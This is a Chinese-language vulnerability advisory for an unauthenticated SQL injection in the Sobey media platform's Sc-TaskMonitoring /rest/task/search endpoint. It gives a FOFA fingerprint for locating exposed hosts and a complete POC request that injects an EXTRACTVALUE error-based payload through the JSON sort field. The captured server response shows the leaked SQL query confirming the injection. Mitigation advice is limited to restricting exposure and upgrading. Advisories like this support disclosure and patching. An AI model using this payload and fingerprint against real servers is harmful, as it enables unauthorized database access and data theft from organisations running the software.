

索贝融媒体 Sc-TaskMonitoringresttasksearch SQL注入漏洞

漏洞描述

索贝融媒体 Sc-TaskMonitoring/rest/task/search 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 此漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

索贝融媒体

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="689611853"

POC/EXP:

POST /Sc-TaskMonitoring/rest/task/search HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36

Content-Type: application/json

Cookie: token=5ab95532238da1b7d9eb20de7ecef90e; siteCode=S1

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Connection: keep-alive

`{"page":1,"search":{"assignedCodes":""},"size":10,"date":{},"sort":{"field":"1 AND EXTRACTVALUE(8342,CONCAT(0x7e,0x7171787171,(SELECT (ELT(8342=8342,1))),0x716b706b71,0x7e))"},"desc":true}}`

发送请求

强制 HTTPS

历史

生成 Yaml

Request

1 POST /Sc-TaskMonitoring/rest/task/search HTTP/1.1

2 Host:

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36

4 Content-Type: application/json

5 Cookie: token=5ab95532238da1b7d9eb20de7ecef90e; siteCode=S1

6 Accept-Encoding: gzip, deflate, br

7 Accept-Language: zh-CN,zh;q=0.9

8 Connection: keep-alive

9

10 {"page":1,"search":{"assignedCodes":""},"size":10,"date":{},"sort":{"field":"1 AND EXTRACTVALUE(8342,CONCAT(0x7e,0x7171787171,(SELECT (ELT(8342=8342,1))),0x716b706b71,0x7e))"},"desc":true}}

Responses 839bytes / 97ms

1 HTTP/1.1 500 Internal Server Error

2 Server: nginx/1.13.5

3 Date: Thu, 21 Nov 2024 09:28:06 GMT

4 Content-Type: application/json; charset=utf-8

5 Connection: keep-alive

6 Access-Control-Allow-Origin: *

7 Access-Control-Allow-Methods: OPTIONS,GET,PUT,POST,DELETE

8 Access-Control-Allow-Headers: Content-Type,Cache-Control,Content-Length,X-Requested-With

9 Set-Cookie: sessionKey=S_S1_TASKMONITORING_6027; Path=/

10 Set-Cookie: token=5ab95532238da1b7d9eb20de7ecef90e; Path=/

11 Set-Cookie: siteCode=S1; Path=/

12 Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/

13 Content-Length: 839

14

15 {"status":500,"code":500,"message":"\n### Error querying database. \nCause: java.sql.SQLException: XPATH syntax error: '~qqxqq1qkpkq~'\n### The error may exist in com/sobey/taskmonitoring/dao/ITaskDao.xml\n### The error may involve defaultParameterMap\n### The error occurred while setting parameters\n### SQL: select count(*) from (SELECT * FROM SC_TASK WHERE 1 = 1 ORDER BY 1 AND EXTRACTVALUE(8342,CONCAT(0x7e,0x7171787171,(SELECT (ELT(8342=8342,1))),0x716b706b71,0x7e)) DESC) tmp_count\n### Cause: java.sql.SQLException: XPATH syntax error: '~qqxqq1qkpkq~'\n\nuncategorized SQLException for SQL []; SQL state [HY000]; error code [1105]; XPATH syntax error: '~qqxqq1qkpkq~'; nested exception is java.sql.SQLException: XPATH syntax error: '~qqxqq1qkpkq~'"}\n

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本